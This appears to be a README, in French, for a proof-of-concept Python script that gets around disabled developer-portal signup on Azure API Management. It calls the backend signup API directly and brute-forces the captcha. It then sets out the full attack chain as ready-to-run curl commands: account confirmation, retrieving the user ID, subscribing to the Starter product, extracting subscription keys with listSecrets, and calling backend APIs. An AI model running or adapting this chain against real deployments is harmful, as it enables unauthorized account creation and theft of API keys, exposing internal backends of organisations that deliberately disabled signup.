
Script Python permettant de contourner l'inscription Azure APIM lorsque l'interface utilisateur (UI) est désactivée ; il diffère de la CVE-2025-66390 car il ne nécessite pas de configurer quoi que ce soit entre locataires (cross-tenant).
Un script de preuve de concept pour contourner l'inscription désactivée du portail développeur sur Azure APIM en invoquant directement l'API d'enregistrement backend.
Les portails développeur Azure APIM peuvent être configurés pour désactiver l'inscription en libre-service via l'interface du portail. Dans certains déploiements, le point de terminaison API sous-jacent (/signup) reste actif et accessible même lorsque le bouton de l'interface est masqué ou supprimé. Ce script exploite cette faille en :
/v2/captcha-challenge/signup avec le défi résolu et les détails du compteToutes les entrées (URL cible, identifiants, proxy) sont demandées de manière interactive à l'exécution.
CVE-2025-66390 (CVSS 9.8 Critique) décrit un contournement d'inscription APIM inter-locataire : un attaquant abuse d'un locataire où l'inscription est activée pour enregistrer des comptes dans un autre locataire où l'inscription est désactivée, en manipulant l'en-tête Host sur les requêtes API. Microsoft a qualifié cela de problème de configuration plutôt que de vulnérabilité produit.
Cela ne nécessite pas la création d'un locataire croisé ; il suffit d'utiliser le point de terminaison /v2/captcha-challenge pour résoudre le captcha en 75 000 itérations (en moyenne).
python3 apim_signup.py
Demande l'URL cible, les détails du compte, le mot de passe (saisie masquée, affichée pour confirmation) et un proxy facultatif.
Une fois que la demande d'inscription aboutit et que l'e-mail de confirmation arrive, la chaîne d'attaque complète est :
Cliquez sur le lien de confirmation dans l'e-mail d'inscription. Cela active le compte avant que l'API de gestion ne l'authentifie.
Appelez l'API de gestion APIM avec l'authentification Basic (base64(email:password)) pour obtenir votre ID utilisateur interne :
curl -s "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/identity?api-version=2019-12-01" \
-H "Authorization: Basic <base64(email:password)>"
# → {"id":"<user-id>"}
Le champ id retourné est utilisé dans tous les appels ultérieurs à l'API de gestion.
OU appelez /developer/identity?api-version=2022-04-01-preview <-- la version n'a pas d'importance
Une interface vous demandera de vous connecter ; à partir de là, vous pouvez également obtenir votre id.
Le produit Starter par défaut est fourni avec approvalRequired: false, ce qui signifie qu'aucune approbation d'administrateur n'est nécessaire. Abonnez-vous via PUT :
curl -s -X PUT "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/users/<user-id>/subscriptions/starter-sub?api-version=2019-12-01" \
-H "Authorization: Basic <base64(email:password)>" \
-H "Content-Type: application/json" \
-d '{"properties":{"scope":"/products/starter","displayName":"Starter"}}'
# → HTTP 201 Created
Un e-mail de confirmation (« Votre abonnement au Starter ») arrive de [email protected].
curl -s -X POST "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/users/<user-id>/subscriptions/starter-sub/listSecrets?api-version=2019-12-01" \
-H "Authorization: Basic <base64(email:password)>"
# → {"primaryKey":"...","secondaryKey":"..."}
Utilisez la clé primaire comme Ocp-Apim-Subscription-Key auprès de la passerelle APIM pour effectuer des appels backend authentifiés :
curl -s "https://<service>.azure-api.net/<api-path>" \
-H "Ocp-Apim-Subscription-Key: <primaryKey>"
L'accès est déterminé par les API rattachées au produit Starter — dans un déploiement mal configuré, cela peut exposer des backends internes sans authentification supplémentaire.
Pour plus de détails, cet article décrit très bien la chaîne ; il suffit d'enlever la partie inter-locataire. https://www.praetorian.com/blog/azure-apim-signup-bypass/